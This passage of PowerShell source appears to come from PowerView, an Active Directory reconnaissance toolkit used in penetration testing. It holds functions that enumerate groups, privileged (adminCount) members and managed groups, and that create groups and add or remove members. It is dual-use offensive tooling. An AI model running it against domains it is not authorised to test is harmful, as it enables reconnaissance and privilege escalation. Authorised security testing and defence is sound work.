[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Alias('ReturnOne')]
[Switch]
$FindOne,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] =
$Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}

PROCESS {
if ($GroupSearcher) {
if ($PSBoundParameters['MemberIdentity']) {

if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}

$SearcherArguments['Identity'] = $MemberIdentity
$SearcherArguments['Raw'] = $True

Get-DomainObject @SearcherArguments | ForEach-Object {

$ObjectDirectoryEntry = $_.GetDirectoryEntry()

$ObjectDirectoryEntry.RefreshCache('tokenGroups')

$ObjectDirectoryEntry.TokenGroups | ForEach-Object {

$GroupSid = (New-Object
System.Security.Principal.SecurityIdentifier($_,0)).Value

if ($GroupSid -notmatch '^S-1-5-32-.*') {


$SearcherArguments['Identity'] = $GroupSid
$SearcherArguments['Raw'] = $False
if ($OldProperties) { $SearcherArguments['Properties']
= $OldProperties }
$Group = Get-DomainObject @SearcherArguments
if ($Group) {
$Group.PSObject.TypeNames.Insert(0,
'PowerView.Group')
$Group
}
}
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainGroup] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroup] Unable to retrieve
domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-)
{3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray()
| ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\
28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0,
$ConvertedIdentityInstance.IndexOf('/'))
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroup] Extracted domain
'$GroupDomain' from '$IdentityInstance'"
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)
(name=$IdentityInstance))"
}
}

if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainGroup] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['GroupScope']) {
$GroupScopeValue = $PSBoundParameters['GroupScope']
$Filter = Switch ($GroupScopeValue) {
'DomainLocal'
{ '(groupType:1.2.840.113556.1.4.803:=4)' }
'NotDomainLocal' { '(!
(groupType:1.2.840.113556.1.4.803:=4))' }
'Global'
{ '(groupType:1.2.840.113556.1.4.803:=2)' }
'NotGlobal' { '(!
(groupType:1.2.840.113556.1.4.803:=2))' }
'Universal'
{ '(groupType:1.2.840.113556.1.4.803:=8)' }
'NotUniversal' { '(!
(groupType:1.2.840.113556.1.4.803:=8))' }
}
Write-Verbose "[Get-DomainGroup] Searching for group scope
'$GroupScopeValue'"
}
if ($PSBoundParameters['GroupProperty']) {
$GroupPropertyValue = $PSBoundParameters['GroupProperty']
$Filter = Switch ($GroupPropertyValue) {
'Security'
{ '(groupType:1.2.840.113556.1.4.803:=2147483648)' }
'Distribution' { '(!
(groupType:1.2.840.113556.1.4.803:=2147483648))' }
'CreatedBySystem'
{ '(groupType:1.2.840.113556.1.4.803:=1)' }
'NotCreatedBySystem' { '(!
(groupType:1.2.840.113556.1.4.803:=1))' }
}
Write-Verbose "[Get-DomainGroup] Searching for group property
'$GroupPropertyValue'"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroup] Using additional LDAP filter:
$LDAPFilter"
$Filter += "$LDAPFilter"
}

$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroup] filter string: $
($GroupSearcher.filter)"

if ($PSBoundParameters['FindOne']) { $Results =
$GroupSearcher.FindOne() }
else { $Results = $GroupSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {

$Group = $_
}
else {
$Group = Convert-LDAPProperty -Properties $_.Properties
}
$Group.PSObject.TypeNames.Insert(0, 'PowerView.Group')
$Group
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGroup] Error disposing of the
Results object"
}
}
$GroupSearcher.dispose()
}
}
}
}

function New-DomainGroup {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChang
ingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.GroupPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,

[ValidateNotNullOrEmpty()]
[String]
$Name,

[ValidateNotNullOrEmpty()]
[String]
$DisplayName,

[ValidateNotNullOrEmpty()]
[String]
$Description,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] =
$Credential }
$Context = Get-PrincipalContext @ContextArguments

if ($Context) {
$Group = New-Object -TypeName
System.DirectoryServices.AccountManagement.GroupPrincipal -ArgumentList
($Context.Context)

$Group.SamAccountName = $Context.Identity

if ($PSBoundParameters['Name']) {
$Group.Name = $Name
}
else {
$Group.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$Group.DisplayName = $DisplayName
}
else {
$Group.DisplayName = $Context.Identity
}

if ($PSBoundParameters['Description']) {
$Group.Description = $Description
}

Write-Verbose "[New-DomainGroup] Attempting to create group


'$SamAccountName'"
try {
$Null = $Group.Save()
Write-Verbose "[New-DomainGroup] Group '$SamAccountName' successfully
created"
$Group
}
catch {
Write-Warning "[New-DomainGroup] Error creating group '$SamAccountName'
: $_"
}
}
}

function Get-DomainManagedSecurityGroup {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ManagedSecurityGroup')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{
'LDAPFilter' = '(&(managedBy=*)
(groupType:1.2.840.113556.1.4.803:=2147483648))'
'Properties' =
'distinguishedName,managedBy,samaccounttype,samaccountname'
}
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks'])
{ $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
$TargetDomain = $Domain
}
else {
$TargetDomain = $Env:USERDNSDOMAIN
}
Get-DomainGroup @SearcherArguments | ForEach-Object {
$SearcherArguments['Properties'] =
'distinguishedname,name,samaccounttype,samaccountname,objectsid'
$SearcherArguments['Identity'] = $_.managedBy
$Null = $SearcherArguments.Remove('LDAPFilter')

$GroupManager = Get-DomainObject @SearcherArguments

$ManagedGroup = New-Object PSObject


$ManagedGroup | Add-Member Noteproperty 'GroupName' $_.samaccountname
$ManagedGroup | Add-Member Noteproperty 'GroupDistinguishedName'
$_.distinguishedname
$ManagedGroup | Add-Member Noteproperty 'ManagerName'
$GroupManager.samaccountname
$ManagedGroup | Add-Member Noteproperty 'ManagerDistinguishedName'
$GroupManager.distinguishedName

if ($GroupManager.samaccounttype -eq 0x10000000) {


$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'Group'
}
elseif ($GroupManager.samaccounttype -eq 0x30000000) {
$ManagedGroup | Add-Member Noteproperty 'ManagerType' 'User'
}

$ACLArguments = @{
'Identity' = $_.distinguishedname
'RightsFilter' = 'WriteMembers'
}
if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] =
$SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $ACLArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] =
$Credential }

$ManagedGroup | Add-Member Noteproperty 'ManagerCanWrite' 'UNKNOWN'

$ManagedGroup.PSObject.TypeNames.Insert(0,
'PowerView.ManagedSecurityGroup')
$ManagedGroup
}
}
}

function Get-DomainGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.GroupMember')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Parameter(ParameterSetName = 'ManualRecurse')]
[Switch]
$Recurse,

[Parameter(ParameterSetName = 'RecurseUsingMatchingRule')]
[Switch]
$RecurseUsingMatchingRule,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]


[String]
$SecurityMasks,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$SearcherArguments = @{
'Properties' = 'member,samaccountname,distinguishedname'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }

$ADNameArguments = @{}
if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] =
$Credential }
}

PROCESS {
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if ($GroupSearcher) {
if ($PSBoundParameters['RecurseUsingMatchingRule']) {
$SearcherArguments['Identity'] = $Identity
$SearcherArguments['Raw'] = $True
$Group = Get-DomainGroup @SearcherArguments

if (-not $Group) {
Write-Warning "[Get-DomainGroupMember] Error searching for
group with identity: $Identity"
}
else {
$GroupFoundName = $Group.properties.item('samaccountname')[0]
$GroupFoundDN = $Group.properties.item('distinguishedname')[0]

if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {

if ($GroupFoundDN) {
$GroupFoundDomain =
$GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace
',','.'
}
}
Write-Verbose "[Get-DomainGroupMember] Using LDAP matching rule
to recurse on '$GroupFoundDN', only user accounts will be returned."
$GroupSearcher.filter = "(&(samAccountType=805306368)
(memberof:1.2.840.113556.1.4.1941:=$GroupFoundDN))"
$GroupSearcher.PropertiesToLoad.AddRange(('distinguishedName'))
$Members = $GroupSearcher.FindAll() | ForEach-Object
{$_.Properties.distinguishedname[0]}
}
$Null = $SearcherArguments.Remove('Raw')
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not
$PSBoundParameters['SearchBase'])) {

$IdentityDomain =
$IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -
replace ',','.'
Write-Verbose "[Get-DomainGroupMember] Extracted domain
'$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GroupSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GroupSearcher) {
Write-Warning "[Get-DomainGroupMember] Unable to
retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-)
{3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray()
| ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\
28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$GroupDomain = $ConvertedIdentityInstance.SubString(0,
$ConvertedIdentityInstance.IndexOf('/'))
$GroupName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$GroupName)"
$SearcherArguments['Domain'] = $GroupDomain
Write-Verbose "[Get-DomainGroupMember] Extracted domain
'$GroupDomain' from '$IdentityInstance'"
$GroupSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}

if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {


$Filter += "(|$IdentityFilter)"
}

if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGroupMember] Using additional LDAP
filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}

$GroupSearcher.filter = "(&(objectCategory=group)$Filter)"
Write-Verbose "[Get-DomainGroupMember] Get-DomainGroupMember filter
string: $($GroupSearcher.filter)"
try {
$Result = $GroupSearcher.FindOne()
}
catch {
Write-Warning "[Get-DomainGroupMember] Error searching for
group with identity '$Identity': $_"
$Members = @()
}

$GroupFoundName = ''
$GroupFoundDN = ''

if ($Result) {
$Members = $Result.properties.item('member')

if ($Members.count -eq 0) {

$Finished = $False
$Bottom = 0
$Top = 0

while (-not $Finished) {


$Top = $Bottom + 1499
$MemberRange="member;range=$Bottom-$Top"
$Bottom += 1500
$Null = $GroupSearcher.PropertiesToLoad.Clear()
$Null =
$GroupSearcher.PropertiesToLoad.Add("$MemberRange")
$Null =
$GroupSearcher.PropertiesToLoad.Add('samaccountname')
$Null =
$GroupSearcher.PropertiesToLoad.Add('distinguishedname')

try {
$Result = $GroupSearcher.FindOne()
$RangedProperty = $Result.Properties.PropertyNames
-like "member;range=*"
$Members +=
$Result.Properties.item($RangedProperty)
$GroupFoundName =
$Result.properties.item('samaccountname')[0]
$GroupFoundDN =
$Result.properties.item('distinguishedname')[0]

if ($Members.count -eq 0) {
$Finished = $True
}
}
catch
[System.Management.Automation.MethodInvocationException] {
$Finished = $True
}
}
}
else {
$GroupFoundName = $Result.properties.item('samaccountname')
[0]
$GroupFoundDN =
$Result.properties.item('distinguishedname')[0]
$Members += $Result.Properties.item($RangedProperty)
}

if ($PSBoundParameters['Domain']) {
$GroupFoundDomain = $Domain
}
else {

if ($GroupFoundDN) {
$GroupFoundDomain =
$GroupFoundDN.SubString($GroupFoundDN.IndexOf('DC=')) -replace 'DC=','' -replace
',','.'
}
}
}
}

ForEach ($Member in $Members) {


if ($Recurse -and $UseMatchingRule) {
$Properties = $_.Properties
}
else {
$ObjectSearcherArguments = $SearcherArguments.Clone()
$ObjectSearcherArguments['Identity'] = $Member
$ObjectSearcherArguments['Raw'] = $True
$ObjectSearcherArguments['Properties'] =
'distinguishedname,cn,samaccountname,objectsid,objectclass'
$Object = Get-DomainObject @ObjectSearcherArguments
$Properties = $Object.Properties
}

if ($Properties) {
$GroupMember = New-Object PSObject
$GroupMember | Add-Member Noteproperty 'GroupDomain'
$GroupFoundDomain
$GroupMember | Add-Member Noteproperty 'GroupName'
$GroupFoundName
$GroupMember | Add-Member Noteproperty 'GroupDistinguishedName'
$GroupFoundDN

if ($Properties.objectsid) {
$MemberSID = ((New-Object
System.Security.Principal.SecurityIdentifier $Properties.objectsid[0], 0).Value)
}
else {
$MemberSID = $Null
}

try {
$MemberDN = $Properties.distinguishedname[0]
if ($MemberDN -match 'ForeignSecurityPrincipals|S-1-5-21')
{
try {
if (-not $MemberSID) {
$MemberSID = $Properties.cn[0]
}
$MemberSimpleName = Convert-ADName -Identity
$MemberSID -OutputType 'DomainSimple' @ADNameArguments

if ($MemberSimpleName) {
$MemberDomain = $MemberSimpleName.Split('@')[1]
}
else {
Write-Warning "[Get-DomainGroupMember] Error
converting $MemberDN"
$MemberDomain = $Null
}
}
catch {
Write-Warning "[Get-DomainGroupMember] Error
converting $MemberDN"
$MemberDomain = $Null
}
}
else {

$MemberDomain =
$MemberDN.SubString($MemberDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
}
}
catch {
$MemberDN = $Null
$MemberDomain = $Null
}

if ($Properties.samaccountname) {

$MemberName = $Properties.samaccountname[0]
}
else {

try {
$MemberName = ConvertFrom-SID -ObjectSID
$Properties.cn[0] @ADNameArguments
}
catch {

$MemberName = $Properties.cn[0]
}
}

if ($Properties.objectclass -match 'computer') {


$MemberObjectClass = 'computer'
}
elseif ($Properties.objectclass -match 'group') {
$MemberObjectClass = 'group'
}
elseif ($Properties.objectclass -match 'user') {
$MemberObjectClass = 'user'
}
else {
$MemberObjectClass = $Null
}
$GroupMember | Add-Member Noteproperty 'MemberDomain'
$MemberDomain
$GroupMember | Add-Member Noteproperty 'MemberName' $MemberName
$GroupMember | Add-Member Noteproperty
'MemberDistinguishedName' $MemberDN
$GroupMember | Add-Member Noteproperty 'MemberObjectClass'
$MemberObjectClass
$GroupMember | Add-Member Noteproperty 'MemberSID' $MemberSID
$GroupMember.PSObject.TypeNames.Insert(0,
'PowerView.GroupMember')
$GroupMember

if ($PSBoundParameters['Recurse'] -and $MemberDN -and


($MemberObjectClass -match 'group')) {
Write-Verbose "[Get-DomainGroupMember] Manually recursing
on group: $MemberDN"
$SearcherArguments['Identity'] = $MemberDN
$Null = $SearcherArguments.Remove('Properties')
Get-DomainGroupMember @SearcherArguments
}
}
}
$GroupSearcher.dispose()
}
}
}

function Get-DomainGroupMemberDeleted {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssign
ments', '')]
[OutputType('PowerView.DomainGroupMemberDeleted')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True,
ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name',
'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,

[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,

[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,

[ValidateSet('Base', 'OneLevel', 'Subtree')]


[String]
$SearchScope = 'Subtree',

[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,

[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,

[Switch]
$Tombstone,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,

[Switch]
$Raw
)

BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
'LDAPFilter' = '(objectCategory=group)'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] =
$Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] =
$LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] =
$SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] =
$Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope']
= $SearchScope }
if ($PSBoundParameters['ResultPageSize'])
{ $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit'])
{ $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] =
$Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] =
$Credential }
}

PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] =
$Identity }

Get-DomainObject @SearcherArguments | ForEach-Object {


$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty
'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if (($TempObject.pszAttributeName -Match 'member') -and
(($TempObject.dwVersion % 2) -eq 0 )) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'GroupDN' $ObjectDN
$Output | Add-Member NoteProperty 'MemberDN'
$TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeFirstAdded'
$TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted'
$TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange'
$TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'TimesAdded'
($TempObject.dwVersion / 2)
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN'
$TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0,
'PowerView.DomainGroupMemberDeleted')
$Output
}
}
else {
Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving
'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Add-DomainGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,

[Parameter(Mandatory = $True, ValueFromPipeline = $True,


ValueFromPipelineByPropertyName = $True)]
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] =
$Credential }

$GroupContext = Get-PrincipalContext @ContextArguments

if ($GroupContext) {
try {
$Group =
[System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupC
ontext.Context, $GroupContext.Identity)
}
catch {
Write-Warning "[Add-DomainGroupMember] Error finding the group
identity '$Identity' : $_"
}
}
}

PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to
group '$Identity'"
$Member =
[System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext
.Context, $UserIdentity)
$Group.Members.Add($Member)
$Group.Save()
}
}
}
}

function Remove-DomainGroupMember {

[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('GroupName', 'GroupIdentity')]
[String]
$Identity,

[Parameter(Mandatory = $True, ValueFromPipeline = $True,


ValueFromPipelineByPropertyName = $True)]
[Alias('MemberIdentity', 'Member', 'DistinguishedName')]
[String[]]
$Members,

[ValidateNotNullOrEmpty()]
[String]
$Domain,

[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] =
$Credential }

$GroupContext = Get-PrincipalContext @ContextArguments

if ($GroupContext) {
try {
$Group =
[System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupC
ontext.Context, $GroupContext.Identity)
}
catch {
Write-Warning "[Remove-DomainGroupMember] Error finding the group
identity '$Identity' : $_"
}
}
}

PROCESS {
if ($Group) {
ForEach ($Member in $Members) {
if ($Member -match '.+\\.+') {
$ContextArguments['Identity'] = $Member
$UserContext = Get-PrincipalContext @ContextArguments
if ($UserContext) {
$UserIdentity = $UserContext.Identity
}
}
else {
$UserContext = $GroupContext
$UserIdentity = $Member
}
Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member'
from group '$Identity'"
$Member =
[System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext
.Context, $UserIdentity)
$Group.Members.Remove($Member)
